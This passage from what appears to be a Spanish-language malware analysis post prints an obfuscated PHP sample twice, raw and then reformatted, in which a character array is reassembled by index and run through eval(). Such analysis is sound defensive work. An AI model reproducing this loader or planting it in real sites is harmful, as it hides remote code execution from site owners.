style="color:#ae81ff">27</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">31</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">21</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">6</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">6</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">21</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">82</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">82</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">29</span>, <span style="color:#ae81ff">47</span>);$do_me<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>;<span style="color:#66d9ef">for</span>($i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;$i<span style="color:#f92672">&lt;</span><span style="color:#a6e22e">count</span>($order);$i<span style="color:#f92672">++</span>){$do_me<span style="color:#f92672">=</span>$do_me<span style="color:#f92672">.</span>$terms[$order[$i]];}<span style="color:#66d9ef">eval</span>($do_me); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Pero así parece ilegible lo que tenemos, mejor ordenemos un poco mejor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>$terms<span style="color:#f92672">=</span><span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;M&#34;</span>, <span style="color:#e6db74">&#34;Z&#34;</span>, <span style="color:#e6db74">&#34;]&#34;</span>, <span style="color:#e6db74">&#34;p&#34;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34;w&#34;</span>, <span style="color:#e6db74">&#34;f&#34;</span>, <span style="color:#e6db74">&#34;1&#34;</span>, <span style="color:#e6db74">&#34;v&#34;</span>, <span style="color:#e6db74">&#34;&lt;&#34;</span>, <span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;Q&#34;</span>, <span style="color:#e6db74">&#34;z&#34;</span>, <span style="color:#e6db74">&#34; &#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span>, <span style="color:#e6db74">&#34;m&#34;</span>, <span style="color:#e6db74">&#34;+&#34;</span>, <span style="color:#e6db74">&#34;E&#34;</span>, <span style="color:#e6db74">&#34;D&#34;</span>, <span style="color:#e6db74">&#34;g&#34;</span>, <span style="color:#e6db74">&#34;W&#34;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34;q&#34;</span>, <span style="color:#e6db74">&#34;y&#34;</span>, <span style="color:#e6db74">&#34;T&#34;</span>, <span style="color:#e6db74">&#34;V&#34;</span>, <span style="color:#e6db74">&#34;n&#34;</span>, <span style="color:#e6db74">&#34;S&#34;</span>, <span style="color:#e6db74">&#34;X&#34;</span>, <span style="color:#e6db74">&#34;)&#34;</span>, <span style="color:#e6db74">&#34;9&#34;</span>, <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#e6db74">&#34;P&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span>, <span style="color:#e6db74">&#34;&amp;&#34;</span>, <span style="color:#e6db74">&#34;\&#39;&#34;</span>, <span style="color:#e6db74">&#34;!&#34;</span>, <span style="color:#e6db74">&#34;x&#34;</span>, <span style="color:#e6db74">&#34;G&#34;</span>, <span style="color:#e6db74">&#34;:&#34;</span>, <span style="color:#e6db74">&#34;2&#34;</span>, <span style="color:#e6db74">&#34;~&#34;</span>, <span style="color:#e6db74">&#34;O&#34;</span>, <span style="color:#e6db74">&#34;h&#34;</span>, <span style="color:#e6db74">&#34;u&#34;</span>, <span style="color:#e6db74">&#34;U&#34;</span>, <span style="color:#e6db74">&#34;@&#34;</span>, <span style="color:#e6db74">&#34;;&#34;</span>, <span style="color:#e6db74">&#34;H&#34;</span>, <span style="color:#e6db74">&#34;3&#34;</span>, <span style="color:#e6db74">&#34;F&#34;</span>, <span style="color:#e6db74">&#34;6&#34;</span>, <span style="color:#e6db74">&#34;b&#34;</span>, <span style="color:#e6db74">&#34;L&#34;</span>, <span style="color:#e6db74">&#34;&gt;&#34;</span>, <span style="color:#e6db74">&#34;^&#34;</span>, <span style="color:#e6db74">&#34;,&#34;</span>, <span style="color:#e6db74">&#34;.&#34;</span>, <span style="color:#e6db74">&#34;l&#34;</span>, <span style="color:#e6db74">&#34;$&#34;</span>, <span style="color:#e6db74">&#34;d&#34;</span>, <span style="color:#e6db74">&#34;`&#34;</span>, <span style="color:#e6db74">&#34;%&#34;</span>, <span style="color:#e6db74">&#34;N&#34;</span>, <span style="color:#e6db74">&#34;*&#34;</span>, <span style="color:#e6db74">&#34;[&#34;</span>, <span style="color:#e6db74">&#34;0&#34;</span>, <span style="color:#e6db74">&#34;}&#34;</span>, <span style="color:#e6db74">&#34;J&#34;</span>, <span style="color:#e6db74">&#34;-&#34;</span>, <span style="color:#e6db74">&#34;5&#34;</span>, <span style="color:#e6db74">&#34;_&#34;</span>, <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#e6db74">&#34;=&#34;</span>, <span style="color:#e6db74">&#34;{&#34;</span>, <span style="color:#e6db74">&#34;k&#34;</span>, <span style="color:#e6db74">&#34;o&#34;</span>, <span style="color:#e6db74">&#34;7&#34;</span>, <span style="color:#e6db74">&#34;#&#34;</span>, <span style="color:#e6db74">&#34;i&#34;</span>, <span style="color:#e6db74">&#34;I&#34;</span>, <span style="color:#e6db74">&#34;Y&#34;</span>, <span style="color:#e6db74">&#34;(&#34;</span>, <span style="color:#e6db74">&#34;j&#34;</span>, <span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#e6db74">&#34;?&#34;</span>, <span style="color:#e6db74">&#34;K&#34;</span>, <span style="color:#e6db74">&#34;c&#34;</span>, <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#e6db74">&#34;t&#34;</span>, <span style="color:#e6db74">&#34;R&#34;</span>, <span style="color:#e6db74">&#34;4&#34;</span>, <span style="color:#e6db74">&#34;8&#34;</span>, <span style="color:#e6db74">&#34;e&#34;</span>, <span style="color:#e6db74">&#34;|&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$order<span style="color:#f92672">=</span><span style="color:#66d9ef">array</span>(<span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">13</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">60</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">60</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">86</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">15</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">32</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">60</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">79</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">15</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">31</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">21</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">51</span>, <span style="color:#ae81ff">4</span>, <span 